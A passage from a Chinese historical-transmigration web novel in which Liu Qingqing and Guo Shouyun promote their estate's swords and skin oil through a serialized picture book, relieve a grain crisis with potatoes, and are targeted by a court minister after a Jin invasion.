我们还可以做一个铁马出来,喂它吃黑炭,它会不知疲倦的拉着车跑,不用喂草料……” 她说得认真而生动,仿佛真的经历过那些。 郭守云斟酌了半响:“武器的事就不要写了,其他的我全都杜撰上去,算是给世人打个底。还有,万一以后你又弄出什么动静来,这本书干脆叫上册,让世人对下册有个期待!” 两人商量了一番,最终书名叫鲁宾寻游记上册。 郭守云焦头烂额的编纂游记的时候,刘青青在土豆育苗田里,对着百分之三十的发芽率唉声叹气。 她眼珠子转了转,阿云忙于编书,她悄悄的用一级小水滴,不会被发现的。 接连用了两次,浇灌后发芽率没有明显提高,刘青青总结原因,可能是土豆是新收获的,没有经历空气的氧化,所以发芽率不太好。 她溜到郭守云的书房外,他已经编纂好全本,左手一字一句抄写完,正在把册子做旧。 这个过程中断不得,趁着他忙碌没空,刘青青咬咬牙,用了小水滴二级功能,定向提高产量,抽调出一茶杯营养液,调配到水里,命人喷洒了一遍育苗田。 效果相当理想,发芽率提高了一倍,而且她也变得越发虚弱,竟是站立不稳,昏了过去。 等她三日后醒来,入眼的便是郭守云阴沉得能滴水的脸。 刘青青心虚的缩回被子里,早被他一把逮住手,送到嘴里。 “那日说过,再用它,我便咬断它!” 刘青青大喊疼,郭守云终究放开她的手,冷着脸:“牙咬的疼,换匕首利落。” 他从靴子里拔出匕_首,眼睛也不眨一下,一刀扎了下去。 刘青青盯着刺目的鲜红,呜呜哭个不停。 外面的刘慧兰大惊,端着盘子冲了进来,只见匕首扎在郭守云大腿上,深可见骨,地上流了一滩的血。 她急得在刘青青脑袋上拍了一下:“吵架就吵架,怎么还动刀子了呢!” 刘青青慌着给他止血,连连摇头。 郭守云冷笑:“阿姐误会了,是我自己扎的!本来想扎手的,又怕耽误写字,所以扎的腿!” 他看向刘青青,一字一句道: “刘青青,你听好了,以后你弄一次,我便扎一次。我不能阻止你,我便陪你一起死!” 刘青青又气又感动,气的是这人胡搅蛮缠,感动的是,这人舍不得伤她,干脆伤自己,让她心疼。 别说,效果是真的好。 她现在看着他疼着满脸虚汗水,因为失血煞白的脸,心好似被针扎了一般,发誓,再也不敢了! 连忙哭着保证:“我听,我听,以后都听你的!你先止血!” 得了她的承诺,郭守云才愿意请大夫来包扎。 姜老大夫一边包一边取笑: “啧,今日可算开眼了,人家夫妻打架用的是拳头,你们未婚夫妻打架,动的是刀子,不愧是家里开铁厂的!” 青花园被他们吵架闹得兵荒马乱,外面也被鲁宾寻游记惊得天翻地覆,吵得不可开交。 第168章 第168章围炉烤豆 郭守云站在房门外,扫了扫肩头上的雨水,收拾干净利索才掀开帘子,杵着拐杖进了门。 刘青青依靠在枕头上,一只手握着鹅毛笔在白纸上划着,一只手快速的翻着账本。 她眉头不时紧缩,常安县修建铁路,引进骆驼,几乎砸进二十万两银子,日常铁器利润薄弱,仙人掌酱菜售价低廉,两种新品虽然销售量日渐爆发,但短时间内收回不了太多现钱。 计划中高额利润的君子剑淑女剑因名声不显,销售量惨淡,压了好大一波库存。 仙人掌果核提取的精油,也积攒了很多,大姑娘小媳妇们却不买账,她不想放防腐剂,再耽搁下去,那些瓶瓶罐罐就只能丢。 正冥思苦想对策,在纸上勾勾画画,做思维导图,面前伸来一之骨节分明的手,抽走账册:“说好一天只看一个时辰的书,你这样劳心劳肺,身子要什么时候才养得好!”郭守云面色不善。 这半年,她过得猪一样的日子,被关在青华园里吃了睡睡了吃,每日饭后可以由郭守云带着出门溜一圈,别说,效果挺不错,她脸色可见的红润起来,长了些肉,之前的衣服紧了许多。 刘青青讪讪笑了一下,反握住他的手:“你下学了啊!我一人在家,闲着无聊,随便看看。” 她的手掌柔柔的小小的,带着室内的温热,郭守云耳尖红了一丢丢,不咸不淡嗯了一声,帮她披上披风,再开口,语气无奈而又宠溺:“知道你无聊,特意给你带了东西回来,我们去外间,边烤火边说。” 刘青青掀开被子,打了个冷噤,紧了紧肩上的披风,抱怨:“,你腿还未好利索,莫要胡乱跑。 今年这天气甚是反常,往年这个时候还晒得能掉层皮,今年竟要开始烤火了!” 这也是她的各种新品售量低迷的因素之一,连日的蒙蒙细雨,到处湿漉漉的,若非不得已出门,大家都在家里猫着呢。 新品卖的少,有井盐、橡胶枕明星产品撑着,青华园账目尚且能持平,但若大环境不好,乡亲们收紧裤腰带过日子,只怕越来越差。 她叹息:“这老天爷真是昏了头,大秋天的下雨,不晓得农户们的粮食棉花有没有顺利收回家!” 两人坐定,郭守云慢吞吞从茶炉上煮的骆驼奶端到她面前,火上架起烤网,将婴儿拳头大小的土豆放了上去,顺便切了几块扮靓豆腐。 净手后自己斟了一杯碧螺春,喝了一口润润唇,才道:“你莫要担心,我今日下学绕着城外走了一圈,多亏青华园的打谷机,乡民早早把稻谷打回家,棉花也摘了回去,地里只剩下土 豆没收。” 手里有铁有人,刘青青早早的命人做了一百架脚踏打谷机,纯铁钉打造的滚筒,上面画着青华园的图标,只要花上几个铜板,就能租借青华园的打谷机。 做这个不是为了赚钱,是为青华园打广告,让乡民知道熟悉青华园,有了需求,差个菜刀锄头什么的,第一个想到青华园。 郭守云深深看了眼,听说乡民们的粮食及时收获回家后,兀自高兴庆幸的刘青青,想起了书院里同窗们的谈话。 附近几个州府,入秋以后,晴了约摸半月突然开始下雨,南安府的百姓们用着打谷机,一日就能把自家田里的稻谷收回家,剩余的日子到地里抢收棉花。 而没有打谷机的隔壁西平府,百姓们收割稻谷后,全靠人力在石板上砸,效率极其低下,差不多要大半月,因为下雨,没能及时收割,不少谷子在稻穗上发了芽,眼看是吃不成了。 不仅如此,温如初非常强硬的要求府城百姓种植刘青青育苗的土豆,下雨的时候也能抢收,老百姓们把一车车拳头大的土豆拉回家,大丰收的喜悦弥漫在城里,大家都夸刘青青的观音菩萨下的送财童女,嚷嚷着要给她塑泥像立长生排位。 郭守云斟酌了半响,还是把这个消息告诉她,由于她自己决定要不要阻止。 他觉得吧,塑像立长生排位什么的,太高调夸张了些,他不想她这样冒头,要知道木秀于林,风必吹之。 刘青青一听,也觉得百姓们太夸张了些。她有些嫌弃的撇嘴。 郭守云解释:“有了西平府作对比,所以南安府才会对你感恩戴德!” 现在大家伙都缩在家里头,许多人自发聚在一起东家长西家短,一面烤火吃着土豆,一面弹棉花准备冬衣。 吃得饱穿得暖,仓库里堆得满满粮食,才有闲工夫弄这些。 刘青青眼珠子转了一下:“封建迷信要不得,不如,我们找点其他事给他们做呗!比如听戏说书什么的!” “你的鲁宾寻游记,神秘又瑰丽,改改呗,让说书先生去每个村里说去!” 刘青青凑到他耳边,聊聊而谈:“在改动的时候,重点突出鲁宾寻与野兽战斗,多亏了他随身携带的君子剑,才虎口逃生。 还有还有,得加个女主上去,最好是被地痞调戏欺负的美貌小娘子,鲁宾寻见义勇为,和地痞打斗,废了九牛二虎之力磕坏了自己的君子剑才打败地痞,救出小娘子。 小娘子跑遍整个大赵,才从南安府青华园寻到一把满意的君子剑赠给他,鲁宾寻担心她再次遇到地痞,也送了一把淑女剑给她,恰好两人的剑是一套,就此成就了一段美好姻缘。” 郭守云懵逼状态:“这么写,没人听吧?”插广告插入得太刻意了。 刘青青成竹在胸:“不仅人们爱听,还爱看!”英雄救美,因缘巧合什么的,最是让人喜爱,里头的重要定情信物君子淑女剑,会成为人们追相模仿的必备婚礼配件。 “我们先让说书先生去讲,再寻几个画师把故事画出来,放心吧,人们会喜欢的!” 她,摩拳擦掌,准备进入文娱业! 第169章 第169章充实的过冬 南安府的冬日是暖和的,除了今年。几乎不下雪的南安府,进了腊月,便飘起了鹅毛般的大雪,路面上积了厚厚一层,踩上去咯吱咯吱作响。 没见过雪花的小孩子们,穿上厚厚的衣裳,跑到雪地里疯玩,堆雪人、打雪仗,那些书本上的东西,终于亲自感受到了。 不同于孩子们的无忧无虑,家庭主妇们担忧着寒冷的天气,孩子会不会生病?急急忙忙翻出秋日收获的新棉花,把对儿女的爱全缝进一针一线里,最后套在自家孩子身上。 对于忙绿的女人们,不少男人忧虑重重,特别是那些上了年纪的庄稼老把式,更是不停的唉声叹气。 南安府冬暖夏冷,这样的寒冬,让田里的蚕豆,可怎么活啊! 有很多颇有家资的富户,已经开始掏空家底买粮储存,导致世面上粮价一路飙升。 粮商对于价格更是敏感,囤积粮食等待奇货可居,导致粮价越发高攀。 温如初急得直跺脚,他有心从其他州府买粮来平价,给穷人们一条活路,可惜,南安府相对于其他州府的粮食,粮食已经算是最充足的,粮价也是最低的。 他一筹莫展之际,郭守云请见。 温如初一直记挂着刘青青,她因生病闭门不出,再加上小娘子这几年长大了许多,虚岁已经十五,他也要考虑避嫌什么的,不好去打扰,只是让自家夫人孩子前去探望。 听到是郭守云,走到门口迎接。 寒暄过后,郭守云开门见山道:“大人,城里粮价一路攀升,我们家阿青担心城里的百姓饿肚子,特意寻了个差事,雇佣短工干活,以粮抵债!” “我们只有土豆,不晓得有没有百姓愿意前来?” 温如初喜出望外,连连点头:“能填饱肚子就成,哪里管是土豆还是糙米!” 在郭守玉的解释下,衙门贴出了告示,大意是青华园的蚕豆因大雪冻死,需要重新补种土豆,需要大批的短工,有愿意的百姓可直接去青华园报名,每日管两顿土豆。 看到这个告示,城里的百姓们回过味来,是啊,蚕豆已经被冻死,这一季的收成算是泡汤了,在家怨天尤人骂人也不起作用,还不如及时补救。 土豆种在地下的,现在补种,等寒冬过去,春天来临,积雪化成水,正好浇灌土豆苗,也许来年还能收个三瓜两枣的。 不少百姓报名帮青华园去种土豆,因为,去年买的青华园土豆苗很是高产,不晓得该如何育苗。 到了青华园,管事也不藏着掖着,带着来帮忙的短工,从仓库里随意选了些芽眼多的土豆,领着大家把土豆切成小块,他高声强调,每一块土豆上,必须有两个芽眼。 切开的土豆,在草木灰里裹上一圈,灰突突的,在地里挖个坑埋进去,顺便在最上面的泥土上,撒一点粪肥。 管事监督着每一个来报名的短工,学会了种土豆以后,才到另外一块地继续监督。 报名的短工非常多,刘青青和郭守云尽量每一个村子都挑选了两三人,由这些人把土豆的种植方法,快速传播到整个南平府。 大雪让大地一片肃穆,但是南平府补种土豆忙得热火朝天。 体弱的妇孺躲在家里给土豆切皮裹灰,壮劳力去田地里补种土豆,绝望悲哀的气息一扫而空,眼见来年继续丰收,大家也不抢粮了,老老实实把自家仓库里的土豆拿出来吃,土豆焖饭,土豆烧排骨,土豆饼等,换着花样的吃。 在这样的轻松的气氛下,粮价慢慢回落,温如初连忙调动衙门所有资金,悄悄把世面 上的粮食收购一空,藏在衙门的太平仓里,不藏不行,隔壁西平府还在水深火热中,已有不少粮商来南安府收粮。 南安府百姓不再关注粮食问题,而流行起看小人书的风尚。 也不知是谁画的,竟然将鲁宾寻游记画成约摸手掌大的小册子,已经出到第十集,上面的图画匠气很重,但画面栩栩如生,每一集讲述了一个鲁宾寻的奇遇故事,不识字的人都能看得津津有味。 有了这个,大家不用特意跑到茶楼听说书先生吹水。 而是窝在火炉边烤着火,撸着猫,啃着土豆,一页一页的翻看回味小人书,抓心挠肝的等待,下一集什么时候才能买到? 第十一集终于发售了,只是,鲁宾寻竟遇到了危险,差点丧身蟒蛇之口,被长虫吞入了腹中,幸好他千金一发之际,用随身携带的君子剑割开了蟒蛇的肚子,逃出生天,反杀蟒蛇,为百姓们除了一害。 虽然开篇就写着,本篇故事纯属虚构,切莫模仿,但是,少年们为他惊心动魄的历险经历激动,幻想着也为民除害,成为英雄。 大蟒蛇可遇不可求,大冬天的,估计在不知道哪个旮旯里冬眠呢,但是,君子剑,必须人手一把。 于是,南安府的老少爷们们,之前在裤腰带上挂的是水烟斗,现在一律换成了君子剑。 而青华园针对不同的客户群体,准备了不同的君子剑。 有豪华绚丽镶嵌宝石的骚包君子剑,也有简单大方的素声君子剑,但无论哪种君子剑,都是没有开刃的,作为装饰品用。 等这一风头稍微平息了一些,青华园又发售了鲁宾寻游记小人书第十二集,老天爷,这一册,竟然是彩色的! 第170章 第170章神仙水 上课的钟声敲响,府学诗经课的女夫子时真走进了课室,发现今日的小娘子们有一点不同,怎么说呢,她们脸上,有种迫不及待的急切? 她心里纳闷,没作他想,依照自己的教习,按部就班的开始教学:“请各位小娘子打开诗经第十篇《氓》,氓之蚩蚩,抱布贸丝,匪来贸丝,来即我谋……” 时真一边为小娘子们解释经文的寓意,一边扫视跪坐听讲的各位娘子。 突然,她皱了皱眉头,提高了声音:“朱萌,请你和大家解释解释,什么叫匪我愆期,子无良媒?” 被叫到的是一位衣着繁复的小娘子,她站起来,支支吾吾半天:“我,我不答应你的求婚,是因为你没有给我定情信物?” 听到她的解释,时真气急:“女子读书不易,你们爷娘能把你们送到府学,说明对你们期以厚望,你,真是一知半解!” 她深深吸了口气,平复下气恼,慢吞吞走到她面前伸出手掌:“交出来!” 被她批评的朱萌,涨红了脸,不情不愿从袖子里抽出一本花花绿绿手掌大小的册子,躬身双手呈给她。 鉴于她态度端正,时真不再计较,顺手接过小册子塞到袖袋里,准备下课烧毁,拍拍她肩膀示意她坐下,然后又重新解释了一遍:“匪我愆期,子无良媒的意思是:不是我故意耽误你定的婚期,是因为你没有聘请媒人来提亲。” 她意味深长解释:“没有媒人,何谈六礼?婚礼对于女子来说,如同二次投胎,但是,男子连这么点仪程都懒得准备,说明什么,说明他心里根本不看重女子,甚至轻视她。” “古话说得好,奔为妾聘为妻,我们女孩子面对男子的追求,要冷静自持分析,守礼克己,莫要被男子几句甜言蜜语,仰或几个金银玉镯便哄骗得忘乎所以。” 时真非常明白,送女孩上府学的家长的心态,一来希望能提高孩子的名声,将来能高嫁,二来让孩子明理,莫要稀里糊涂过完这一生。 时代在变迁,但是,人心一直不变,诗经里无数的先例,告诉了女孩子们该如何做。 朱萌好不容易挨到下课,磨磨蹭蹭走到收拾课案的时真面前,期期艾艾开口:“时先生,我,我错了,我不该上课不专心,我保证,不会犯那样的糊涂。 可不可以,把书还给我?” 朱萌手指头不停的绞着衣摆,眼巴巴的看着她。 时真原本打算,看看若不是什么伤风败俗的书便还她,被朱萌来这么一招,心里沉下三分。 世面上专有许多书生,不思好好念书科考,每日间弄些花前月下文人小姐的故事,来哄那些涉世未深的半大小娘子,拐着这些娘子私奔,莫非朱萌也中了这样的毒,那书是万万不能还了。 她板着脸:“朱萌,你上课犯了错,我才收你的书,不是故意为难你。按照府学规定,你若想要回这书,需让你母亲知会我一声。” 朱萌嗫嚅了一下,要是让母亲知晓她上课看杂书,非得打断她的腿。朱萌害怕的缩了缩脖子,在小人书和小命之间,犹犹豫豫的选择了小命:“哦,那,时先生,你把它烧了吧。” 嗐,花了半月的零花银子,才抢到的最新彩板,好心疼,呜呜!她不停的骂自己,怎么就不能等到下课再看呢,呜呜,都怪青华园,把这书画得太好看了。 时真心情沉重的回到习室,掏出袖袋里的小册子正要撕掉,转念一想,她要弄清楚这本书写的是啥,若有伤风化,她定要禀明山长,查清楚后面的人,将此人捉拿归案。 一打开书,她便被里头图片上真实的感觉震惊了,上面的人儿物件,好像活过来一样,俏生生的立在面前。 手指头先一步摸了上去,指尖传来白浪纸特有的平滑触感,这全是画出来的,竟然如此神奇。 不谈内容,光这种新鲜的画法,便可传世。她收起不屑嫌弃,这小册大有可为啊。 平复心中的惊讶后,她坐正身子,捧起书阅读起来。 这一读便是半个时辰,她才放下手中的书,眸子中有一瞬间的茫然。 原来,这便是风靡一时的鲁宾寻游记,原来,这小人书出自青华园,想到上次应邀去青华园,看到的那名钟灵毓秀古灵精怪的女娘,她露出一抹理应如此的了然。 故事情节紧凑,图画灵动真实。 这是一本由大量图画构成的图册,里头偶尔配上一两句话,即便不识字的人,也能看得懂。 讲的是鲁宾寻整顿行装再次出门,偶遇带着仆从出门上香的艾丽丝。 身穿华服的艾丽丝因天生黑了些,在家被几个兄弟姐妹嘲笑,心情不好躲出门,却被几个地痞调戏取闹,地痞的头头竟是艾丽丝的同父异母的哥哥艾厉害,艾丽丝报官后,艾厉害说这是艾家的家务事,自家妹妹长得丑还到处乱跑丢艾府的脸,做哥哥的特意教训教训抓回去,还让官府莫要多管闲事。 官府衙役一看艾丽丝,确实没有受伤,无奈退走了,只剩下艾丽丝当街难堪,哭得眼泪在涂满脂粉的脸上冲出两道小沟沟,越发被周围的地痞指指点点,嘲弄取笑,推搡着摔倒在地。 这时鲁宾寻挤开围观的人群,和地痞打斗起来,废了九牛二虎之力,才以少胜多击退地痞,可惜,君子剑被对方的斧头砍断,原来之前他大战蟒蛇的时候,君子剑已经被蟒蛇腹中酸水所伤。 他扶起摔在地上的艾丽丝:“不过黑一些,有什么好哭的,我常在野外行走,晒得比你黑多了,而且蜕皮疼痛,涂了青华园的神仙水精油,诺,那些黑皮都掉了,长出新的皮甚是白皙光滑柔嫩!” 他言语里全是帐然若失。 男人汉顶天立地就是要黑,可惜之前疼得厉害,黑皮还会皲裂开口,一道道裂痕如同干涸的河床,能看到皮肤深处的淡淡红血肉,妨碍他上天入地钻洞下水探险,没奈何才去寻的大夫,大夫推荐了用青华园的神仙水,修复龟裂挺好,唯一不足的是有美白的副效果。 顶着一脸白皮,正是自己最看不上眼的小白脸模样,对鲁宾寻来说是件烦恼的事,但对艾丽丝来说,可能正好。 鲁宾寻不过随手之劳,不过几日便忘了此事。 哪知一个月后,鲁宾寻去常宁县抓捕下山偷吃农户作物的野猪,却被野猪獠牙所伤,昏倒后被人所救,救她的竟是带人来打猎的艾丽丝,只是,艾丽丝变得白嫩了许多,鲁宾寻几乎没认出来。 与一个月之前穿着同一款衣裙的艾丽丝,若之前,她看着有些滑稽,那现在,她看起来犹如星辰一般耀眼。 变化最大的除了她的肤色之外,还有多出来的自信力量,册子上两处图画对比,上一次的艾丽丝含胸缩背,畏畏缩缩,黑瘦不起眼,这一次的艾丽丝白得能发光,神采飞扬,鲜衣怒马,连头发丝都是自信。 对比实在太明显,让人留下了深刻的印象,一向自持的时真也忍不住想,要不要弄点神仙水来试一试? 她起身到外面打探了一番,暗道一声青华园厉害。 青华园最近大力推出鲁宾寻游记图册,世人简称小人书。 之前的十集全是黑白色,先在木板上雕刻后,用一般的白纸拓印下来,虽然全是图,但销售量惊人,府学几乎人手一册,零花钱充裕的几乎攒了全套。 不识字的贩夫走卒也能读,每一册利润很低,到累积起来就很可观了。 你以为她外卖书,那你就错了,其实她在卖剑。 青华园的君子剑跟随着小人书,成了无数郎君的收藏品,不同的君子剑,价格不一,她可以想象到其中的利润。 当你以为她在卖剑的时候,第十一集发行,除了普通印刷黑白版本的小人书,同事发售精装手绘彩色版,暗搓搓的给读者灌输他们家的神仙水,让人自信的美白水。 神仙水不便宜,试用装拇指大一小瓶,就要一吊钱。 拳头大一瓷瓶是一个月的量,竟然要二两银。 啧,他们卖的不是书,卖的是奢侈品。但是,只要手里有钱的女娘男郎,谁舍得不买一瓶回来试一试呢? 毕竟,鲁宾寻都用了啊!【你现在阅读的是 】 170-180 第171章 第171章习惯 因鲁宾寻游记小人书风靡一时,不知不觉中,南安府众多郎君手中,都拥有一柄君子剑,零花钱充裕的小娘子,人手一瓶神仙水。 这天,在郭守云的陪伴下,刘青青终于踏出了 青华园的大门,得以上街放风,不,做君子剑和神仙水的售后调查。 她定定的看着街的那边,若有所思。 飘了半个月的雪花后,太阳终于露出了笑脸,融化了积雪,温暖的照耀着大赵最南边的这片土地。南安府如像往年冬日一样温暖祥和,之前半月的冰天雪地好似一场梦。 天气冷热适中,但远远达不到炎热的程度,郎君们手中,为何依旧拿着折扇摇个不停! 郭守云顺着她的目光看过去,几个长衫飘飘的俊朗书生站在枯黄的树下,一边骚包的摇着折扇,一边旁若无人对着树上新冒的嫩芽儿评头论足,叽叽歪歪。 他眯眼细细观察,那边四人中,说话的小子一脸轻浮,扇子摇得像狗尾巴的小子手舞足蹈,上蹿下跳,还有一人穿着红衣,一看就不正经,最后一人,长身玉立……啧、肯定是斯文败类,难道刘青青看的便是他? 郭守云汗毛微微竖起,有了淡淡的危机感。 他面色一沉,一个跨步挡在她侧面,遮住她的视线,状若无意道:“前面新开了家羊尾汤,炖煮得烫烫的,喝了很是暖和,我们去尝一尝!” 刘青青嗯了一声,和他并排往前走了几步,又下意识的往后边那四人处看了一眼。 郭守云冷哼一声,将她的头掰正,语气里全是不满:“我,不好看么?” 刘青青被迫看着面前的人,不知道什么时候,阿云已经比她高了一个头,正俯视着她,剑眉星目,高挺鼻梁,尖尖的下颌上,一张薄唇呈健康的淡粉色,此刻紧紧的抿着。 因两人挨得有些近,她甚至能感受到他微热的呼吸。 额头被他温热的呼吸一扫,刘青青感觉酥麻了一下,耳尖不受控制的红了起来,呆愣愣老实道:“啊?阿云自是最好看的!” 得了回答的郭守云嘴角慢慢翘起,双眼带了笑意:“那你还盯着那几人看什么?” 提起这茬,刘青青恢复平日的精明:“我在观察他们身上是否佩戴这君子剑!” “难道他们没读过游记,仰或没有买君子剑!” 她有一瞬间的挫败:“哎,我还以为,人手一柄了呢!”不等郭守云安慰,她立马又鼓起精神,斗志勃勃:“没关系,我会打探清楚原因,争取让南安府的百姓们人手三柄!” 郭守云明白了症结,纠结的心放了下来,顿时轻松不已:“不用查,我知道!” “那些小白脸们觉得戴着君子剑不如折扇风流倜傥,所以大冬天的弄把折扇充门面。” 刘青青恍然大悟,因自己体弱,穿的是干净利索剪裁合身的皮草,然而街上大部分人男子穿着长衫,微风吹拂,衣角偏飞,是有那么一股子仙气。 小娘子们也是一样,穿的是及脚踝的裙子,这样的打扮戴上君子剑确实有点不搭。 恩,君子剑想要长长久久流传下去,需要人们时常佩戴,像日用品一样穿戴,这样跟风一时买回去,长久之后束之高阁,她还做什么生意? 不行,得改。 人们的生活习惯必须改变,就成长衫开始。 她来到这里后,一开始因为家里贫穷,只穿短打,家境好了后,习惯穿裤子,再外穿裙子,她忘记了一件最重要的事情,这时候的人们,还没有紧身裤,松垮垮的裤子靠好几圈腰带绑着,为了遮蔽腰间的腰带,所以要在外面加上长衫,或者比甲。 腰带哪里有松紧合身的短裤舒服啊。 所以,是时候让百姓们手里的棉花,发挥更大的功能了。 刘青青没功夫逛街了,拉着郭守云返回青华园,找到苏氏,在纸上比比划划,要求按照图纸做新衣服。 苏氏推了推鼻梁上的眼睛,一脸不赞同:“你是说,裙子改成膝盖以上的短裙,然后露出下面的裤子来,是吗?” 她想都没想便摇头:“不妥不妥,哪有女孩子露出腿来给人看的,而且,短裙不安全!” 刘青青摇着她的手臂不放:“阿娘,你就做一套出来我试一试呗,只是在园子里穿一穿,干活也方便,你不知道那个长裙,我上下台阶不小心拖地上立马脏了,走在路上,随便在哪儿刮一下,抽条丝出来,忒浪费了!” 苏氏管着家里孩子们的衣食住行,为三个女孩投掷重金,用蜀锦做了身裙子,刘慧兰平时文静,穿了好几次,那裙子还好好的,刘青青每日间忙得脚不沾地,经常到田埂地边查看,那裙子才穿了一次,裙脚便被路旁的枝蔓挂了好几条丝,可让她心疼了,因蜀锦贵重,她舍不得扔,一直放在柜子底收着。 听到刘青青诉求,眼前一亮,立刻起身翻箱倒柜动手改做。 两人退出来,郭守云跟在后面不解:“你如何想一出是一出,不是要想法子多卖君子剑呢,怎么想起改裙子了?” 刘青青得意的摇头晃脑:“你猜!” 不等他回答,她立刻兴冲冲的分享:“因为短裙下可以配长靴啊,我们在靴子上做个剑鞘,君子剑不就可以随身携带了吗?” 他拖着郭守云:“走走走,我们快回屋,他们还等着你出游记的十二集呢!” 郭守云太阳穴突突跳了两下,他这些日子把游记魔改成小人书,还要兼顾植入广告,头发一片一片的掉,今日找了个机会领着刘青青进城去散心,半道又被捉回来,他真的真的,很无语,家里的驴子都没他累。 他悻悻道:“我,十二集,我还没思路。” 刘青青已经帮他想好了:“怎么会没思路呢?上一集鲁宾寻败走野猪,总结原因啊,不就是因为他穿了长衫,躲避野猪攻击的时候被自家长衫拌倒了,没能及时拔剑啊!” 这一集,他痛定思痛,换了短 款,配了靴子,及时出手,便把野猪斩于剑下。 郭守云被她说的一愣一愣的,“不是说要给女主艾丽丝加戏么?这样怎么加?” 刘青青理所应当:“艾丽丝家是开布行的,她因变漂亮了,得到了家主父亲的注意,给了她一间小铺子练手。 但是远远不够,她想进一步得到父亲的喜爱,甚至想成为下一代家主,需要让小铺子一鸣惊人,所以她潜心研究,发现了棉布的织法。” “织出有弹性的棉布后,短裤才能实现,才能走入千家万户。” 郭守云沉默了一瞬间,他幽幽的问:“你确定,要在小人书里,教授大家棉布的织法?” 刘青青点点头:“阿云,那不是我发明的,只是被我带来而已,利民的事,藏着掖着有什么意思呢?” 最重要的是,她心里的紧迫感更强了,好多个夜晚,她都在睡梦中被吓醒,这个美好的世间又变成了上辈子的丧尸横行的炼狱模样。 她要所有人一起织布,为了快速织布,勤快聪明的人们才会发明让人类文明起飞的蒸汽机。 郭守云没有再说话,既然她要他写,他做便是,头发掉完了,总会长出来的。 如刘青青意料的那般,书迷们,一开始沉迷于鲁宾寻的越挫越勇,艾丽丝的绝地反击,嗑两个人的瓜。 再看发现书里两人的打扮实在干净利落,特别是艾丽丝的短裙,英姿勃发,飒极了! 特别是艾丽丝再次遇到,因为铺子生意败给她,气急败坏来欺负她的地痞哥哥,从靴子里抽出淑女剑给了艾厉害脸上一下,让他吓得跪地求饶。 从自卑怯懦的黑小丫,到自信美丽的飒娘子,让女孩们看到了人生的另外一种可能,女孩也可以把男子踩在脚下呢。 不少小娘子效仿着穿短裙,学着书里的方法用棉花抽丝织布,真的成功了。 而青华园适时抛出收购棉布得消息。 繁忙的年关,南安府的百姓们又多了一样营生,把家里的棉花抽丝捻线织布,到青华园去换钱,或换物。 大年初一,上京朱红的宫门被敲开,边关八百里加急件一封接一封送到了皇帝书案:“金人陈兵百万,已攻下边关三城,要求大赵和亲公主,陪嫁粮十万担,布十万匹,盐十万筒,铁刀十万柄,茶叶十万饼……” “若及时奉上歉礼,和亲公主,金人考虑从三城退兵,为表城意,将三城送予大赵。如若不然,半月内金人的铁骑将踏平山河关,一月内让大赵从地图上消失!” 朝廷一时哗然,金人好生霸道无耻,抢了大赵的城池,再送给大赵。 也有人说:“金人虽说霸道了着,但做了大赵的女婿,自然会收敛些,用区区一点物件换回城池,是合算的!” 此种言论一出,立马受到了攻讦:“好一个区区一点物件!你能你一个人出啊!”去年整个大赵受了雪灾,百姓们日子过得饥一顿饱一顿,哪来的余粮喂豺狼! 被讥讽的张大人不慌不忙:“百姓们是没余粮,但是富得流油的商户,很是愿意为国效力,比如南安府的青华园,生意做得上京都知道,相信他们很愿意帮忙为公主出嫁妆的!” 第172章 第172章助攻? 吵闹的朝廷一时落针可闻。 说话的是已故薛阁老的学生,张言时,他继承了薛阁老的主张以和为贵,用一些财物女子,换取边境的安宁,在他们看来,是非常值当的。 张言时双眸里全是晦暗,青华园最擅投机取巧、标新立异。 他最敬爱的师尊,就是因为吃了青华园的冰淇淋,一病不起就此辞世。 薛家是一群扶不起的烂泥,不想着为亲爹报仇,却为所谓的家业,争得脑浆子都要打出来,不时闹出丑闻,成了上京城里的笑话。 没关系,他算是尊师的半子,他会让青华园为尊师陪葬。 青华园不是号称最擅推陈出新么,就让他们到地下弄些新巧的玩意,取悦师尊去。 站在后排的卢雪樵猛地抬头,他不明白,南安府的青华园偏安一隅,新入阁的张大人,为何如此针对青华园。 这里没有他说话的份,他把求救的目光看向自己的尊师,同样位列第一排的张贤齐。 张贤齐冷笑一声,讥讽道:“可笑,强盗抢了你的田地,作为聘礼要你把女儿嫁给他,还要求陪嫁珍贵的粮食布匹,张大人真是好性儿!” 张言时不紧不慢辩驳:“皇上,金人不懂礼节,求婚的方式是粗鲁了些,我们要能理解。 再说,冤家宜解不宜结,结亲总比结仇好哇。不然呢,和金人打么?我们打得过吗?” 上坐的皇帝沉默了一瞬,看向另一侧的武将:“郭爱卿,若交战,有几层把握夺回三城?” 被他点名的郭志城,出列躬身答应:“皇上,卑职也是才收到军报,边城情况实在不知,不敢轻下判断。” “但卑职以为,金人来势汹汹,现在当务之急,不是和不和亲的问题,是堵截金人,加强边境防卫,免得金人嘴上搪塞我们和亲,但实际上继续南下攻打犯边。” “而且,去冬雪灾,金国在我们北面,受灾更是严重,听说冻死了无数的牛羊,估计金人已经没有粮食,所以南下抢夺,若真的送去大批粮食和刀剑,只是为对方增加军备而已。” 年轻的皇帝紧皱的眉头舒展了些:“那就依你所说,调北路军北上,援助边城守军,势必挡住金人的攻击!张贤齐张时言两位爱卿,共同领协户部,调动军粮,保证大军的后勤供给。 和亲一事,待战局明朗再议!” 郭志城大喝一声:“末将领命!” 皇帝一锤定音,张时言面上晦涩不定,转念又想,筹备军粮,里头可以做的事情就很多了。 下了朝,户部尚书寻到张贤齐和张时言,弓腰行礼一脸苦涩:“两位大人,去岁雪灾,已经减免了不少地方的税赋,户部现在是一文钱都没有,我,我从哪儿弄军粮来啊!” 张时言意有所指:“可不是,你们是不当家不知柴米贵,我们现在穷的叮当响,哪里有钱打仗!哎,可惜那些武将一意孤行。算了算了,现在不是说这个的时候,食君之禄为君分忧,皇上命我等统筹后方粮草,定要将此事办得妥妥帖帖。” 户部尚书在心中翻白眼,面上恭敬:“大人所言极是,所以,我们该从哪弄粮草来呢!” 张时言呵呵一笑:“早朝的时候不是说了么,百姓受苦,但是商户赚得锅满瓢盆,特别是那个青华园,与民争利,手里又是卖铁又是卖盐的,让他们出便好了嘛!” 户部尚书瞠目结舌,国家军队行动,让商户出钱出粮,这有些说不过去啊。 张贤齐冷哼一声:“张大人莫要公报私仇的好,人家青华园不过一个名不见传的小商行,哪里有你名下的兴隆船行体量大,要我说,这便是你们船行出钱出力的时候了,皇上定然会记得你的好。” 张时言讥笑:“大人糊涂,兴隆船行是我们本家的,可不是我的,我说话哪里作得数。你只看到兴隆船行体量大,你却没看到船行一年要养无数的人,跑商赚的钱还不够发放薪水的。” “哦,不够发薪水,所以兴隆船行的上下伙计,全靠你养着?” 张贤齐言语犀利,暗指张时言贪污受贿。 